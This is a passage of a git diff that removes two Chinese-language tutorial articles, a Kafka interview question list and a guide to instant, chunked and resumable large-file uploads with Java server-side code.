值的情况下,第一次调用时随机生成一个整数(后面每次调用在这个整数上自增),将这个值与Topic可用的Partition总数取余得到Parittion值,也就是常说的 round-robin 算法 - -## 8、Kafka 为什么要把消息分区 - -1. 方便在集群中扩展,每个 Partition 可用通过调整以适应它所在的机器,而一个Topic又可以有多个Partition组成,因此整个集群就可以适应任意大小的数据了 -2. 可以提高并发,因为可以以Partition为单位进行读写 - -## 9、Kafka 中生产者运行流程 - -1. 一条消息发过来首先会被封装成一个 ProducerRecord 对象 -2. 对该对象进行序列化处理(可以使用默认,也可以自定义序列化) -3. 对消息进行分区处理,分区的时候需要获取集群的元数据,决定这个消息会被发送到哪个主题的哪个分区 -4. 分好区的消息不会直接发送到服务端,而是放入生产者的缓存区,多条消息会被封装成一个批次(Batch),默认一个批次的大小是 16KB -5. Sender 线程启动以后会从缓存里面去获取可以发送的批次 -6. Sender 线程把一个一个批次发送到服务端 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-baogwdkafkamsgczhs-5ebd5e06-08cb-4c2d-9a84-b1fd15505f0a.jpg) - -## 10、Kafka 中的消息封装 - -在Kafka 中 Producer 可以 Batch的方式推送数据达到提高效率的作用。Kafka Producer 可以将消息在内存中累积到一定数量后作为一个 Batch 发送请求。Batch 的数量大小可以通过 Producer 的参数进行控制,可以从三个维度进行控制 - -* 累计的消息的数量(如500条) -* 累计的时间间隔(如100ms) -* 累计的数据大小(如64KB) - -通过增加 Batch 的大小,可以减少网络请求和磁盘I/O的频次,具体参数配置需要在效率和时效性做一个权衡。 - -## 11、Kafka 消息的消费模式 - -> Kafka采用大部分消息系统遵循的传统模式:Producer将消息推送到Broker,Consumer从Broker获取消息。 - -如果采用 **Push** 模式,则Consumer难以处理不同速率的上游推送消息。 - -采用 Pull 模式的好处是Consumer可以自主决定是否批量的从Broker拉取数据。Pull模式有个缺点是,如果Broker没有可供消费的消息,将导致Consumer不断在循环中轮询,直到新消息到达。为了避免这点,Kafka有个参数可以让Consumer阻塞直到新消息到达。 - -## 12、Kafka 如何实现负载均衡与故障转移 - -> 负载均衡是指让系统的负载根据一定的规则均衡地分配在所有参与工作的服务器上,从而最大限度保证系统整体运行效率与稳定性 - -**负载均衡** - -Kakfa 的负载均衡就是每个 **Broker** 都有均等的机会为 Kafka 的客户端(生产者与消费者)提供服务,可以负载分散到所有集群中的机器上。Kafka 通过智能化的分区领导者选举来实现负载均衡,提供智能化的 Leader 选举算法,可在集群的所有机器上均匀分散各个Partition的Leader,从而整体上实现负载均衡。 - -**故障转移** - -Kafka 的故障转移是通过使用**会话机制**实现的,每台 Kafka 服务器启动后会以会话的形式把自己注册到 Zookeeper 服务器上。一旦服务器运转出现问题,就会导致与Zookeeper 的会话不能维持从而超时断连,此时Kafka集群会选举出另一台服务器来完全替代这台服务器继续提供服务。 - -## 13、Kafka 中 Zookeeper 的作用 - -Kafka 是一个使用 Zookeeper 构建的分布式系统。Kafka 的各 Broker 在启动时都要在Zookeeper上注册,由Zookeeper统一协调管理。如果任何节点失败,可通过Zookeeper从先前提交的偏移量中恢复,因为它会做周期性提交偏移量工作。同一个Topic的消息会被分成多个分区并将其分布在多个Broker上,这些分区信息及与Broker的对应关系也是Zookeeper在维护。 - -## 14、Kafka 提供了哪些系统工具 - -* **Kafka 迁移工具**:它有助于将代理从一个版本迁移到另一个版本 -* **Mirror Maker**:Mirror Maker 工具有助于将一个 Kafka 集群的镜像提供给另一个 -* **消费者检查**:对于指定的主题集和消费者组,可显示主题、分区、所有者 - -## 15、Kafka 中消费者与消费者组的关系与负载均衡实现 - -Consumer Group 是Kafka独有的可扩展且具有容错性的消费者机制。一个组内可以有多个Consumer,它们共享一个全局唯一的Group ID。组内的所有Consumer协调在一起来消费订阅主题(Topic)内的所有分区(Partition)。当然,每个Partition只能由同一个Consumer Group内的一个Consumer 来消费。消费组内的消费者可以使用多线程的方式实现,消费者的数量通常不超过分区的数量,且二者最好保持整数倍的关系,这样不会造成有空闲的消费者。 - -> Consumer 订阅的是Topic的Partition,而不是Message。所以在同一时间点上,订阅到同一个分区的Consumer必然属于不同的Consumer Group - -Consumer Group与Consumer的关系是动态维护的,当一个Consumer进程挂掉或者是卡住时,该Consumer所订阅的Partition会被重新分配到改组内的其他Consumer上,当一个Consumer加入到一个Consumer Group中时,同样会从其他的Consumer中分配出一个或者多个Partition到这个新加入的Consumer。 - -**负载均衡** - -当启动一个Consumer时,会指定它要加入的Group,使用的配置项是:Group.id - -为了维持Consumer与Consumer Group之间的关系,Consumer 会周期性地发送 hearbeat 到 coodinator(协调者),如果有 hearbeat 超时或未收到 hearbeat,coordinator 会认为该Consumer已经退出,那么它所订阅的Partition会分配到同一组内的其他Consumer上,这个过程称为 rebalance(再平衡) - -## 16、Kafka 中消息偏移的作用 - -生产过程中给分区中的消息提供一个顺序ID号,称之为偏移量,偏移量的主要作用为了唯一地区别分区中的每条消息。Kafka的存储文件都是按照offset.kafka来命名 - -## 17、 生产过程中何时会发生QueueFullExpection以及如何处理 - -**何时发生** - -当生产者试图发送消息的速度快于Broker可以处理的速度时,通常会发生 **QueueFullException** - -**如何解决** - -首先先进行判断生产者是否能够降低生产速率,如果生产者不能阻止这种情况,为了处理增加的负载,用户需要添加足够的 Broker。或者选择生产阻塞,设置`Queue.enQueueTimeout.ms` 为 -1,通过这样处理,如果队列已满的情况,生产者将组织而不是删除消息。或者容忍这种异常,进行消息丢弃。 - -## 18、Consumer 如何消费指定分区消息 - -Cosumer 消费消息时,想Broker 发出 `fetch` 请求去消费特定分区的消息,Consumer 可以通过指定消息在日志中的偏移量 offset,就可以从这个位置开始消息消息,Consumer 拥有了 offset 的控制权,也可以向后回滚去重新消费之前的消息。 - -也可以使用 `seek(Long topicPartition)` 来指定消费的位置。 - -## 19、Replica、Leader 和 Follower 三者的概念 - -> Kafka 中的 Partition 是有序消息日志,为了实现高可用性,需要采用备份机制,将相同的数据复制到多个Broker上,而这些备份日志就是 Replica,目的是为了 **防止数据丢失**。 -> -> 所有Partition 的副本默认情况下都会均匀地分布到所有 Broker 上,一旦领导者副本所在的Broker宕机,Kafka 会从追随者副本中选举出新的领导者继续提供服务。 - -**Leader:** 副本中的领导者。负责对外提供服务,与客户端进行交互。生产者总是向 Leader副本些消息,消费者总是从 Leader 读消息 - -**Follower:** 副本中的追随者。被动地追随 Leader,不能与外界进行交付。只是向Leader发送消息,请求Leader把最新生产的消息发给它,进而保持同步。 - -## 20、Replica 的重要性 - -Replica 可以确保发布的消息不会丢失,保证了Kafka的高可用性。并且可以在发生任何机器错误、程序错误或软件升级、扩容时都能生产使用。 - -## 21、Kafka 中的 Geo-Replication 是什么 - -Kafka官方提供了MirrorMaker组件,作为跨集群的流数据同步方案。借助MirrorMaker,消息可以跨多个数据中心或云区域进行复制。您可以在主动/被动场景中将其用于备份和恢复,或者在主动/主动方案中将数据放置得更靠近用户,或支持数据本地化要求。 - -它的实现原理比较简单,就是通过从源集群消费消息,然后将消息生产到目标集群,即普通的消息生产和消费。用户只要通过简单的Consumer配置和Producer配置,然后启动Mirror,就可以实现集群之间的准实时的数据同步. - -## 22、Kafka 中 AR、ISR、OSR 三者的概念 - -* `AR`:分区中所有副本称为 AR -* `ISR`:所有与主副本保持一定程度同步的副本(包括主副本)称为 ISR -* `OSR`:与主副本滞后过多的副本组成 OSR - -## 23、分区副本什么情况下会从 ISR 中剔出 - -Leader 会维护一个与自己基本保持同步的Replica列表,该列表称为ISR,每个Partition都会有一个ISR,而且是由Leader动态维护。所谓动态维护,就是说如果一个Follower比一个Leader落后太多,或者超过一定时间未发起数据复制请求,则Leader将其从ISR中移除。当ISR中所有Replica都向Leader发送ACK(Acknowledgement确认)时,Leader才commit。 - -## 24、分区副本中的 Leader 如果宕机但 ISR 却为空该如何处理 - -可以通过配置`unclean.leader.election` : - -* **true**:允许 OSR 成为 Leader,但是 OSR 的消息较为滞后,可能会出现消息不一致的问题 -* **false**:会一直等待旧 leader 恢复正常,降低了可用性 - -## 25、如何判断一个 Broker 是否还有效 - -1. Broker必须可以维护和ZooKeeper的连接,Zookeeper通过心跳机制检查每个结点的连接。 -2. 如果Broker是个Follower,它必须能及时同步Leader的写操作,延时不能太久。 - -## 26、Kafka 可接收的消息最大默认多少字节,如何修改 - -Kafka可以接收的最大消息默认为**1000000**字节,如果想调整它的大小,可在Broker中修改配置参数:`Message.max.bytes`的值 - -> 但要注意的是,修改这个值,还要同时注意其他对应的参数值是正确的,否则就可能引发一些系统异常。首先这个值要比消费端的fetch.Message.max.bytes(默认值1MB,表示消费者能读取的最大消息的字节数)参数值要小才是正确的设置,否则Broker就会因为消费端无法使用这个消息而挂起。 - -## 27、Kafka 的 ACK 机制 - -> Kafka的Producer有三种ack机制,参数值有0、1 和 -1 - -* **0:** 相当于异步操作,Producer 不需要Leader给予回复,发送完就认为成功,继续发送下一条(批)Message。**此机制具有最低延迟,但是持久性可靠性也最差,当服务器发生故障时,很可能发生数据丢失。** -* **1:** Kafka 默认的设置。表示 Producer 要 Leader 确认已成功接收数据才发送下一条(批)Message。不过 Leader 宕机,Follower 尚未复制的情况下,数据就会丢失。**此机制提供了较好的持久性和较低的延迟性。** -* **\-1:** Leader 接收到消息之后,还必须要求ISR列表里跟Leader保持同步的那些Follower都确认消息已同步,Producer 才发送下一条(批)Message。**此机制持久性可靠性最好,但延时性最差。** - -## 28、Kafka 的 consumer 如何消费数据 - -在Kafka中,Producers将消息推送给Broker端,在Consumer和Broker建立连接之后,会主动去 Pull(或者说Fetch)消息。这种模式有些优点,首先Consumer端可以根据自己的消费能力适时的去fetch消息并处理,且可以控制消息消费的进度(offset);此外,消费者可以控制每次消费的数,实现批量消费。 - -## 29、Kafka 提供的API有哪些 - -Kafka 提供了两套 Consumer API,分为 **High-level API** 和 **Sample API** - -**Sample API** - -这是一个底层API,它维持了一个与单一 Broker 的连接,并且这个API 是完全无状态的,每次请求都需要指定 offset 值,因此这套 API 也是最灵活的。 - -**High-level API** - -该API封装了对集群中一系列Broker的访问,可以透明地消费下一个Topic,它自己维护了已消费消息的状态,即每次消费的都会下一个消息。High-level API 还支持以组的形式消费Topic,如果 Consumers 有同一个组名,那么Kafka就相当于一个队列消息服务,而各个 Consumer 均衡地消费相应Partition中的数据。若Consumers有不同的组名,那么此时Kafka就相当于一个广播服务,会把Topic中的所有消息广播到每个Consumer - -## 30、Kafka 的Topic中 Partition 数据是怎么存储到磁盘的 - -Topic 中的多个 Partition 以文件夹的形式保存到 Broker,每个分区序号从0递增,且消息有序。Partition 文件下有多个Segment(xxx.index,xxx.log),Segment文件里的大小和配置文件大小一致。默认为1GB,但可以根据实际需要修改。如果大小大于1GB时,会滚动一个新的Segment并且以上一个Segment最后一条消息的偏移量命名。 - -## 31、Kafka 创建Topic后如何将分区放置到不同的 Broker 中 - -Kafka创建Topic将分区放置到不同的Broker时遵循以下规则: - -1. 副本因子不能大于Broker的个数。 -2. 第一个分区(编号为0)的第一个副本放置位置是随机从Broker List中选择的。 -3. 其他分区的第一个副本放置位置相对于第0个分区依次往后移。也就是如果有3个Broker,3个分区,假设第一个分区放在第二个Broker上,那么第二个分区将会放在第三个Broker上;第三个分区将会放在第一个Broker上,更多Broker与更多分区依此类推。剩余的副本相对于第一个副本放置位置其实是由`nextReplicaShift`决定的,而这个数也是随机产生的。 - -## 32、Kafka 的日志保留期与数据清理策略 - -**概念** - -保留期内保留了Kafka群集中的所有已发布消息,超过保期的数据将被按清理策略进行清理。默认保留时间是7天,如果想修改时间,在`server.properties`里更改参数`log.retention.hours/minutes/ms` 的值便可。 - -**清理策略** - -* **删除:** `log.cleanup.policy=delete` 表示启用删除策略,这也是默认策略。一开始只是标记为delete,文件无法被索引。只有过了`log.Segment.delete.delay.ms`这个参数设置的时间,才会真正被删除。 -* **压缩:** `log.cleanup.policy=compact` 表示启用压缩策略,将数据压缩,只保留每个Key最后一个版本的数据。首先在Broker的配置中设置`log.cleaner.enable=true` 启用 cleaner,这个默认是关闭的。 - -## 33、Kafka 日志存储的Message是什么格式 - -Kafka一个Message由**固定长度的header**和**一个变长的消息体body**组成。将Message存储在日志时采用不同于Producer发送的消息格式。每个日志文件都是一个log entries(日志项)序列: - -1. 每一个log entry包含一个四字节整型数(Message长度,值为1+4+N)。 -2. 1个字节的magic,magic表示本次发布Kafka服务程序协议版本号。 -3. 4个字节的CRC32值,CRC32用于校验Message。 -4. 最终是N个字节的消息数据。每条消息都有一个当前Partition下唯一的64位offset。 - -> Kafka没有限定单个消息的大小,但一般推荐消息大小不要超过1MB,通常一般消息大小都在1~10KB之间。 - -## 34、Kafka 是否支持多租户隔离 - -> 多租户技术(multi-tenancy technology)是一种软件架构技术,它是实现如何在多用户的环境下共用相同的系统或程序组件,并且仍可确保各用户间数据的隔离性。 - -**解决方案** - -通过配置哪个主题可以生产或消费数据来启用多租户,也有对配额的操作支持。管理员可以对请求定义和强制配额,以控制客户端使用的Broker资源。 - -## 35、Kafka 的日志分段策略与刷新策略 - -**日志分段(Segment)策略** - -1. `log.roll.hours/ms`:日志滚动的周期时间,到达指定周期时间时,强制生成一个新的Segment,默认值168h(7day)。 -2. `log.Segment.bytes`:每个Segment的最大容量。到达指定容量时,将强制生成一个新的Segment。默认值1GB(-1代表不限制)。 -3. `log.retention.check.interval.ms`:日志片段文件检查的周期时间。默认值60000ms。 - -**日志刷新策略** - -Kafka的日志实际上是开始是在缓存中的,然后根据实际参数配置的策略定期一批一批写入到日志文件中,以提高吞吐量。 - -1. `log.flush.interval.Messages`:消息达到多少条时将数据写入到日志文件。默认值为10000。 -2. `log.flush.interval.ms`:当达到该时间时,强制执行一次flush。默认值为null。 -3. `log.flush.scheduler.interval.ms`:周期性检查,是否需要将信息flush。默认为很大的值。 - -## 36、Kafka 中如何进行主从同步 - -> Kafka动态维护了一个同步状态的副本的集合(a set of In-SyncReplicas),简称ISR,在这个集合中的结点都是和Leader保持高度一致的,任何一条消息只有被这个集合中的每个结点读取并追加到日志中,才会向外部通知“这个消息已经被提交”。 - -kafka 通过配置 `producer.type` 来确定是异步还是同步,默认是同步 - -**同步复制** - -Producer 会先通过Zookeeper识别到Leader,然后向 Leader 发送消息,Leader 收到消息后写入到本地 log文件。这个时候Follower 再向 Leader Pull 消息,Pull 回来的消息会写入的本地 log 中,写入完成后会向 Leader 发送 Ack 回执,等到 Leader 收到所有 Follower 的回执之后,才会向 Producer 回传 Ack。 - -**异步复制** - -Kafka 中 Producer 异步发送消息是基于同步发送消息的接口来实现的,异步发送消息的实现很简单,客户端消息发送过来以后,会先放入一个 `BlackingQueue` 队列中然后就返回了。Producer 再开启一个线程 `ProducerSendTread` 不断从队列中取出消息,然后调用同步发送消息的接口将消息发送给 Broker。 - -> Producer的这种在内存缓存消息,当累计达到阀值时批量发送请求,小数据I/O太多,会拖慢整体的网络延迟,批量延迟发送事实上提升了网络效率。但是如果在达到阀值前,Producer不可用了,缓存的数据将会丢失。 - -## 37、Kafka 中什么情况下会出现消息丢失/不一致的问题 - -**消息发送时** - -消息发送有两种方式:`同步 - sync` 和 `异步 - async`。默认是同步的方式,可以通过 producer.type 属性进行配置,kafka 也可以通过配置 acks 属性来确认消息的生产 - -* `0`:表示不进行消息接收是否成功的确认 -* `1`:表示当 leader 接收成功时的确认 -* `-1`:表示 leader 和 follower 都接收成功的确认 - -当 acks = 0 时,不和 Kafka 进行消息接收确认,可能会因为网络异常,缓冲区满的问题,导致消息丢失 - -当 acks = 1 时,只有 leader 同步成功而 follower 尚未完成同步,如果 leader 挂了,就会造成数据丢失 - -**消息消费时** - -Kafka 有两个消息消费的 consumer 接口,分别是 `low-level` 和 `hign-level` - -1. `low-level`:消费者自己维护 offset 等值,可以实现对 kafka 的完全控制 -2. `high-level`:封装了对 partition 和 offset,使用简单 - -如果使用高级接口,可能存在一个消费者提取了一个消息后便提交了 offset,那么还没来得及消费就已经挂了,下次消费时的数据就是 offset + 1 的位置,那么原先 offset 的数据就丢失了。 - -## 38、Kafka 作为流处理平台的特点 - -> 流处理就是连续、实时、并发和以逐条记录的方式处理数据的意思。Kafka 是一个分布式流处理平台,它的高吞吐量、低延时、高可靠性、容错性、高可扩展性都使得Kafka非常适合作为流式平台。 - -1. 它是一个简单的、轻量级的Java类库,能够被集成到任何Java应用中 -2. 除了Kafka之外没有任何其他的依赖,利用Kafka的分区模型支持水平扩容和保证顺序性 -3. 支持本地状态容错,可以执行非常快速有效的有状态操作 -4. 支持 eexactly-once 语义 -5. 支持一次处理一条记录,实现 ms 级的延迟 - -## 39、消费者故障,出现活锁问题如何解决 - -**活锁的概念**:消费者持续的维持心跳,但没有进行消息处理。 - -为了预防消费者在这种情况一直持有分区,通常会利用 `max.poll.interval.ms`活跃检测机制,如果调用 Poll 的频率大于最大间隔,那么消费者将会主动离开消费组,以便其他消费者接管该分区 - -## 40、Kafa 中如何保证顺序消费 - -Kafka 的消费单元是 Partition,同一个 Partition 使用 offset 作为唯一标识保证顺序性,但这只是保证了在 Partition 内部的顺序性而不是 Topic 中的顺序,因此我们需要将所有消息发往统一 Partition 才能保证消息顺序消费,那么可以在发送的时候指定 MessageKey,同一个 key 的消息会发到同一个 Partition 中。 - - - ->参考链接:[https://mp.weixin.qq.com/s/1Mcm_vAq6Qv_pP-y0lPf0g](https://mp.weixin.qq.com/s/1Mcm_vAq6Qv_pP-y0lPf0g),出处:菜农曰,整理:沉默王二 - - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/interview/mianshiguan-bigfile-miaochuan.md b/docs/src/interview/mianshiguan-bigfile-miaochuan.md deleted file mode 100644 index 9c506f5ee0..0000000000 --- a/docs/src/interview/mianshiguan-bigfile-miaochuan.md +++ /dev/null @@ -1,367 +0,0 @@ ---- -title: 携程面试官:大文件上传时如何做到秒传? -shortTitle: 如何秒传大文件? -description: 携程面试官:大文件上传时如何做到秒传? -category: - - 求职面试 -tag: - - 面试题&八股文 -head: - - - meta - - name: keywords - content: Java,java,面试题,八股文,大文件,秒传 ---- - -大家好,我是二哥呀~ - -文件上传是一个老生常谈的话题了,在文件相对比较小的情况下,可以直接把文件转化为字节流上传到服务器,但在文件比较大的情况下,用这种方式进行上传,可不是一个好的办法,毕竟很少有用户能忍受,尤其是当文件上传到一半中断后,继续上传却只能重头开始上传,让用户的体验尤其不爽。 - -那有没有比较好的上传体验呢,答案有的,就是下边要介绍的几种上传方式。 - -## 秒传 - -### 1、什么是秒传 - -通俗的说,你把要上传的东西上传,服务器会先做 MD5 校验,如果服务器上有同样的东西,它就直接给你个新地址,其实你下载的都是服务器上的同一个文件,想要不秒传,其实只要让 MD5 改变,就是对文件本身做一下修改(改名字不行),例如一个文本文件,你多加几个字,MD5 就变了,就不会秒传了. - -### 2、本文实现的秒传核心逻辑 - -a、利用 redis 的 set 方法存放文件上传状态,其中 key 为文件上传的 md5,value 为是否上传完成的标志位; - -b、当标志位为 true 表示上传已经完成,此时如果有相同文件上传,则进入秒传逻辑。如果标志位为 false,则说明还没上传完成,此时需要再调用 set 方法,保存块号文件记录的路径,其中 key 为上传文件的 md5 + 一个固定前缀,value 为块号文件的记录路径 - -## 分片上传 - -### 1、什么是分片上传 - -分片上传,就是将所要上传的文件,按照一定的大小,将整个文件分隔成多个数据块(我们称之为 Part)来进行上传,上传完之后再由服务端对所有上传的文件进行汇总整合成原始的文件。 - -### 2、分片上传的场景 - -1.大文件上传 - -2.网络环境环境不好,存在需要重传风险的场景 - -## 断点续传 - -### 1、什么是断点续传 - -断点续传是在下载或上传时,将下载或上传任务(一个文件或一个压缩包)人为的划分为几个部分,每一个部分采用一个线程进行上传或下载,如果碰到网络故障,可以从已经上传或下载的部分开始继续上传或者下载未完成的部分,而没有必要从头开始上传或者下载。 - -PS:本文的断点续传主要是针对断点上传场景。 - -### 2、应用场景 - -断点续传可以看成是分片上传的一个衍生,因此可以使用分片上传的场景,都可以使用断点续传。 - -### 3、实现断点续传的核心逻辑 - -在分片上传的过程中,如果因为系统崩溃或者网络中断等异常因素导致上传中断,这时候客户端需要记录上传的进度。在之后支持再次上传时,可以继续从上次上传中断的地方进行继续上传。 - -为了避免客户端在上传之后的进度数据被删除而导致重新开始从头上传的问题,服务端也可以提供相应的接口便于客户端对已经上传的分片数据进行查询,从而使客户端知道已经上传的分片数据,从而从下一个分片数据开始继续上传。 - -### 4、实现流程步骤 - -a、方案一,常规步骤 - -- 将需要上传的文件按照一定的分割规则,分割成相同大小的数据块; -- 初始化一个分片上传任务,返回本次分片上传唯一标识; -- 按照一定的策略(串行或并行)发送各个分片数据块; -- 发送完成后,服务端根据判断数据上传是否完整,如果完整,则进行数据块合成得到原始文件。 - -b、方案二、本文实现的步骤 - -- 前端(客户端)需要根据固定大小对文件进行分片,请求后端(服务端)时要带上分片序号和大小 -- 服务端创建 conf 文件用来记录分块位置,conf 文件长度为总分片数,每上传一个分块即向 conf 文件中写入一个 127,那么没上传的位置就是默认的 0,已上传的就是 Byte.MAX_VALUE 127(这步是实现断点续传和秒传的核心步骤) -- 服务器按照请求数据中给的分片序号和每片分块大小(分片大小是固定且一样的)算出开始位置,与读取到的文件片段数据,写入文件。 - -#### 5、分片上传/断点上传代码实现 - -a、前端采用百度提供的 webuploader 插件,进行分片。因本文主要介绍服务端代码实现,webuploader 如何进行分片,具体实现可以查看如下链接: - -[http://fex.baidu.com/webuploader/getting-started.html](http://fex.baidu.com/webuploader/getting-started.html) - -b、后端用两种方式实现文件写入,一种是用 RandomAccessFile,如果对 RandomAccessFile 不熟悉的朋友,可以查看如下链接: - -[https://blog.csdn.net/dimudan2015/article/details/81910690](https://blog.csdn.net/dimudan2015/article/details/81910690) - -另一种是使用 MappedByteBuffer,对 MappedByteBuffer 不熟悉的朋友,可以查看如下链接进行了解: - -[https://www.jianshu.com/p/f90866dcbffc](https://www.jianshu.com/p/f90866dcbffc) - -## 后端进行写入操作的核心代码 - -### 1、RandomAccessFile 实现方式 - -``` -@UploadMode(mode = UploadModeEnum.RANDOM_ACCESS)   -@Slf4j   -public class RandomAccessUploadStrategy extends SliceUploadTemplate {   -   -  @Autowired   -  private FilePathUtil filePathUtil;   -   -  @Value("${upload.chunkSize}")   -  private long defaultChunkSize;   -   -  @Override   -  public boolean upload(FileUploadRequestDTO param) {   -    RandomAccessFile accessTmpFile = null;   -    try {   -      String uploadDirPath = filePathUtil.getPath(param);   -      File tmpFile = super.createTmpFile(param);   -      accessTmpFile = new RandomAccessFile(tmpFile, "rw");   -      //这个必须与前端设定的值一致   -      long chunkSize = Objects.isNull(param.getChunkSize()) ? defaultChunkSize * 1024 * 1024   -          : param.getChunkSize();   -      long offset = chunkSize * param.getChunk();   -      //定位到该分片的偏移量   -      accessTmpFile.seek(offset);   -      //写入该分片数据   -      accessTmpFile.write(param.getFile().getBytes());   -      boolean isOk = super.checkAndSetUploadProgress(param, uploadDirPath);   -      return isOk;   -    } catch (IOException e) {   -      log.error(e.getMessage(), e);   -    } finally {   -      FileUtil.close(accessTmpFile);   -    }   -   return false;   -  }   -   -}   -``` - -### 2、MappedByteBuffer 实现方式 - -``` -@UploadMode(mode = UploadModeEnum.MAPPED_BYTEBUFFER)   -@Slf4j   -public class MappedByteBufferUploadStrategy extends SliceUploadTemplate {   -   -  @Autowired   -  private FilePathUtil filePathUtil;   -   -  @Value("${upload.chunkSize}")   -  private long defaultChunkSize;   -   -  @Override   -  public boolean upload(FileUploadRequestDTO param) {   -   -    RandomAccessFile tempRaf = null;   -    FileChannel fileChannel = null;   -    MappedByteBuffer mappedByteBuffer = null;   -    try {   -      String uploadDirPath = filePathUtil.getPath(param);   -      File tmpFile = super.createTmpFile(param);   -      tempRaf = new RandomAccessFile(tmpFile, "rw");   -      fileChannel = tempRaf.getChannel();   -   -      long chunkSize = Objects.isNull(param.getChunkSize()) ? defaultChunkSize * 1024 * 1024   -          : param.getChunkSize();   -      //写入该分片数据   -      long offset = chunkSize * param.getChunk();   -      byte[] fileData = param.getFile().getBytes();   -      mappedByteBuffer = fileChannel   -.map(FileChannel.MapMode.READ_WRITE, offset, fileData.length);   -      mappedByteBuffer.put(fileData);   -      boolean isOk = super.checkAndSetUploadProgress(param, uploadDirPath);   -      return isOk;   -   -    } catch (IOException e) {   -      log.error(e.getMessage(), e);   -    } finally {   -   -      FileUtil.freedMappedByteBuffer(mappedByteBuffer);   -      FileUtil.close(fileChannel);   -      FileUtil.close(tempRaf);   -   -    }   -   -    return false;   -  }   -   -}   -``` - -### 3、文件操作核心模板类代码 - -``` -@Slf4j   -public abstract class SliceUploadTemplate implements SliceUploadStrategy {   -   -  public abstract boolean upload(FileUploadRequestDTO param);   -   -  protected File createTmpFile(FileUploadRequestDTO param) {   -   -    FilePathUtil filePathUtil = SpringContextHolder.getBean(FilePathUtil.class);   -    param.setPath(FileUtil.withoutHeadAndTailDiagonal(param.getPath()));   -    String fileName = param.getFile().getOriginalFilename();   -    String uploadDirPath = filePathUtil.getPath(param);   -    String tempFileName = fileName + "_tmp";   -    File tmpDir = new File(uploadDirPath);   -    File tmpFile = new File(uploadDirPath, tempFileName);   -    if (!tmpDir.exists()) {   -      tmpDir.mkdirs();   -    }   -    return tmpFile;   -  }   -   -  @Override   -  public FileUploadDTO sliceUpload(FileUploadRequestDTO param) {   -   -    boolean isOk = this.upload(param);   -    if (isOk) {   -      File tmpFile = this.createTmpFile(param);   -      FileUploadDTO fileUploadDTO = this.saveAndFileUploadDTO(param.getFile().getOriginalFilename(), tmpFile);   -      return fileUploadDTO;   -    }   -    String md5 = FileMD5Util.getFileMD5(param.getFile());   -   -    Map map = new HashMap<>();   -    map.put(param.getChunk(), md5);   -    return FileUploadDTO.builder().chunkMd5Info(map).build();   -  }   -   -  /**   -   * 检查并修改文件上传进度   -   */   -  public boolean checkAndSetUploadProgress(FileUploadRequestDTO param, String uploadDirPath) {   -   -    String fileName = param.getFile().getOriginalFilename();   -    File confFile = new File(uploadDirPath, fileName + ".conf");   -    byte isComplete = 0;   -    RandomAccessFile accessConfFile = null;   -    try {   -      accessConfFile = new RandomAccessFile(confFile, "rw");   -      //把该分段标记为 true 表示完成   -      System.out.println("set part " + param.getChunk() + " complete");   -      //创建conf文件文件长度为总分片数,每上传一个分块即向conf文件中写入一个127,那么没上传的位置就是默认0,已上传的就是Byte.MAX_VALUE 127   -      accessConfFile.setLength(param.getChunks());   -      accessConfFile.seek(param.getChunk());   -      accessConfFile.write(Byte.MAX_VALUE);   -   -      //completeList 检查是否全部完成,如果数组里是否全部都是127(全部分片都成功上传)   -      byte[] completeList = FileUtils.readFileToByteArray(confFile);   -      isComplete = Byte.MAX_VALUE;   -      for (int i = 0; i < completeList.length && isComplete == Byte.MAX_VALUE; i++) {   -        //与运算, 如果有部分没有完成则 isComplete 不是 Byte.MAX_VALUE   -        isComplete = (byte) (isComplete & completeList[i]);   -        System.out.println("check part " + i + " complete?:" + completeList[i]);   -      }   -   -    } catch (IOException e) {   -      log.error(e.getMessage(), e);   -    } finally {   -      FileUtil.close(accessConfFile);   -    }   - boolean isOk = setUploadProgress2Redis(param, uploadDirPath, fileName, confFile, isComplete);   -    return isOk;   -  }   -   -  /**   -   * 把上传进度信息存进redis   -   */   -  private boolean setUploadProgress2Redis(FileUploadRequestDTO param, String uploadDirPath,   - -      String fileName, File confFile, byte isComplete) {   -   -    RedisUtil redisUtil = SpringContextHolder.getBean(RedisUtil.class);   -    if (isComplete == Byte.MAX_VALUE) {   -      redisUtil.hset(FileConstant.FILE_UPLOAD_STATUS, param.getMd5(), "true");   -      redisUtil.del(FileConstant.FILE_MD5_KEY + param.getMd5());   -      confFile.delete();   -      return true;   -    } else {   -      if (!redisUtil.hHasKey(FileConstant.FILE_UPLOAD_STATUS, param.getMd5())) {   -        redisUtil.hset(FileConstant.FILE_UPLOAD_STATUS, param.getMd5(), "false");   -        redisUtil.set(FileConstant.FILE_MD5_KEY + param.getMd5(),   -            uploadDirPath + FileConstant.FILE_SEPARATORCHAR + fileName + ".conf");   -      }   -   -      return false;   -    }   -  }   - - /**   -   * 保存文件操作   -   */   -  public FileUploadDTO saveAndFileUploadDTO(String fileName, File tmpFile) {   -   -    FileUploadDTO fileUploadDTO = null;   -   -    try {   -   -      fileUploadDTO = renameFile(tmpFile, fileName);   -      if (fileUploadDTO.isUploadComplete()) {   -        System.out   -            .println("upload complete !!" + fileUploadDTO.isUploadComplete() + " name=" + fileName);   -        //TODO 保存文件信息到数据库   -   -      }   -   -    } catch (Exception e) {   -      log.error(e.getMessage(), e);   -    } finally {   -   -    }   -    return fileUploadDTO;   -  }   - - /**   -   * 文件重命名   -   *   -   * @param toBeRenamed 将要修改名字的文件   -   * @param toFileNewName 新的名字   -   */   -  private FileUploadDTO renameFile(File toBeRenamed, String toFileNewName) {   -    //检查要重命名的文件是否存在,是否是文件   -    FileUploadDTO fileUploadDTO = new FileUploadDTO();   -    if (!toBeRenamed.exists() || toBeRenamed.isDirectory()) {   -      log.info("File does not exist: {}", toBeRenamed.getName());   -      fileUploadDTO.setUploadComplete(false);   -      return fileUploadDTO;   -    }   -    String ext = FileUtil.getExtension(toFileNewName);   -    String p = toBeRenamed.getParent();   -   